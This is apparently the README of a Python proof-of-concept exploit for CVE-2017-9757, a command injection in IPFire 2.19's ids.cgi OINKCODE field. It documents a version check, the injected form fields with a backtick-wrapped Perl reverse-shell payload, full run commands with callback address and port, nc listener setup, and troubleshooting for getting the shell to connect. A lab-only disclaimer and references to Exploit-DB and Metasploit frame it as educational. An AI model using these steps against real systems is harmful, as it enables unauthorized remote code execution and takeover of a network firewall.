Python proof of concept for the authenticated command-injection vulnerability in IPFire 2.19's ids.cgi page through the OINKCODE parameter.
For authorized security testing and training labs only. Run this PoC only against systems that you own or have explicit permission to test. The author is not responsible for misuse or damage caused by this code.
IPFire 2.19 is vulnerable to OS command injection in the OINKCODE parameter processed by /cgi-bin/ids.cgi. The parameter is incorporated into a shell command without proper neutralization, allowing an authenticated user to execute commands on the IPFire host.
The vulnerability is commonly identified as CVE-2017-9757 and maps to CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
The original public PoC was tested against IPFire 2.19 Core Update 110. The Metasploit module considers versions up to IPFire 2.19 with Core Update 110 to be within its supported check range.
The original Python PoC from Exploit-DB performs a verification request using:
OINKCODE = '`id`'It then declares the target vulnerable only if the HTTP response contains:
uid=99(nobody)
That validation is unreliable. The command may execute while its output is consumed by the shell command constructed by the CGI instead of being reflected in the HTML response returned to the client. As a result, the server can return a normal HTTP 200 page without including the output of id, producing a false negative.
This implementation follows the validation logic used by the Metasploit module:
- Request
/cgi-bin/pakfire.cgiwith HTTP Basic Authentication. - Extract the IPFire version and Core Update from the response.
- Treat IPFire
<= 2.19and Core Update<= 110as appearing vulnerable. - Send the command payload to
/cgi-bin/ids.cgiin theOINKCODEfield. - Treat a non-
200response as a rejected request or authentication problem. - Do not inspect the HTML body for
uid=99(nobody).
The PoC also uses a Perl command-shell payload, matching the command payload family supported by the Metasploit module. A successful HTTP response does not, by itself, prove that the reverse shell connected; the listener and network path must also be verified.
| Feature | Exploit-DB 42149 Python PoC | Exploit-DB 42369 / Metasploit | This PoC |
|---|---|---|---|
| Vulnerable endpoint | /cgi-bin/ids.cgi |
/cgi-bin/ids.cgi |
/cgi-bin/ids.cgi |
| Version check | None | GET /cgi-bin/pakfire.cgi |
Same Metasploit-style check |
| Authentication | Basic Auth | Basic Auth header | Basic Auth through requests.Session |
| Initial validation | Executes `id` and searches the response body |
Checks the version, then sends the payload | Checks the version and uses the HTTP result code |
| False-negative risk | High: depends on uid=99(nobody) being reflected |
Avoids body-content validation | Avoids body-content validation |
| Reverse shell | Bash /dev/tcp |
Metasploit Unix command payload | Perl IO::Socket::INET command shell |
| TLS handling | Certificate verification disabled in the PoC | SSL enabled by default | Verification is disabled only with -k/--insecure |
| Configuration | Values are edited in the source | Metasploit options | Command-line arguments |
The Metasploit module's important success criterion is that an unexpected response code indicates invalid credentials or a rejected request. It does not require the response body to contain the output of the injected command.
- Python 3
requests- Valid IPFire credentials with access to the web interface
- A Perl interpreter on the target, normally available as
perl - A listener reachable from the IPFire host
Install the Python dependency:
python3 -m pip install requestspython3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--check-only \
--insecureThe password is requested interactively when --password is not supplied. This is recommended because putting a password directly in a command can expose it through shell history or the process list.
Use a listener on the address and port supplied as --lhost and --lport:
rlwrap nc -lvnp 4444If rlwrap is not installed, use:
nc -lvnp 4444python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecureFor the usual IPFire self-signed HTTPS certificate, --insecure/-k is required. Use it only when certificate verification is intentionally not possible in the lab.
The target can also be supplied as a complete base URL:
python3 ipfire_oinkcode_rce.py \
--target https://192.0.2.10:444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecureUse this only when the IPFire version has already been confirmed independently:
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--skip-version-check \
--insecureIf Perl is not in the target's default PATH, provide its absolute path:
--perl-path /usr/bin/perl| Option | Default | Description |
|---|---|---|
-t, --target |
Required | Target host/IP or complete base URL |
--scheme |
https |
Scheme used when the target is only a host/IP |
--web-port |
444 |
IPFire web interface port |
-u, --username |
admin |
IPFire username |
-p, --password |
Prompt | Password; omit to enter it without echo |
--lhost |
Required | Listener address reachable from IPFire |
--lport |
4444 |
Listener port |
--perl-path |
perl |
Perl executable on the target |
--timeout |
10 |
HTTP timeout in seconds |
-k, --insecure |
Disabled | Disable TLS certificate verification |
--skip-version-check |
Disabled | Skip the pakfire.cgi check |
--check-only |
Disabled | Perform only the version check |
This means the HTTP request was accepted by the CGI according to the same practical criterion used by the Metasploit module. A normal HTML response is expected and is not proof that the vulnerability check failed.
Check the listener for the shell. If no shell arrives, investigate the callback address, routing, firewall egress rules, Perl availability, and the selected port.
The request was not authorized. Check the username, password, target URL, port, and whether the account can access the IPFire web interface.
The target URL or CGI path is probably incorrect, or the service is not the expected IPFire web interface.
The script could not find the expected version string in pakfire.cgi. Confirm the target manually before using --skip-version-check.
The injected command may keep the CGI request open while attempting the callback. Treat this as an indication to check the listener, not as definitive proof of a shell.
The script uses HTTP Basic Authentication and sends the following form fields to ids.cgi:
ENABLE_SNORT_GREEN=on
ENABLE_SNORT=on
RULES=registered
OINKCODE=`<Perl command payload>`
ACTION=Download new ruleset
ACTION2=snort
The command is enclosed in backticks because the vulnerable application passes the OINKCODE value into a shell command. The exact request behavior depends on the target version and its local configuration.
- This is a proof of concept, not a complete exploitation framework.
- The version check is based on the behavior of the referenced Metasploit module; it is not a guarantee that every target with a matching banner is exploitable.
- A
200response confirms the request was accepted, not that the reverse shell reached the listener. - The Perl payload requires a working Perl interpreter and network connectivity from IPFire to the listener.
- The script does not attempt authentication bypass or CSRF exploitation; valid credentials are expected.
- NVD: CVE-2017-9757
- Exploit-DB 42149: IPFire 2.19 Remote Code Execution
- Exploit-DB 42369: IPFire < 2.19 Update Core 110 Remote Code Execution
- Metasploit module:
ipfire_oinkcode_exec.rb - Metasploit Perl command payload
- CWE-78: OS Command Injection
This project is an educational Python implementation based on the public research and proof of concept by 0x09AL, and on the Metasploit module maintained by the Metasploit community. It is not affiliated with or endorsed by IPFire, Exploit-DB, or Rapid7.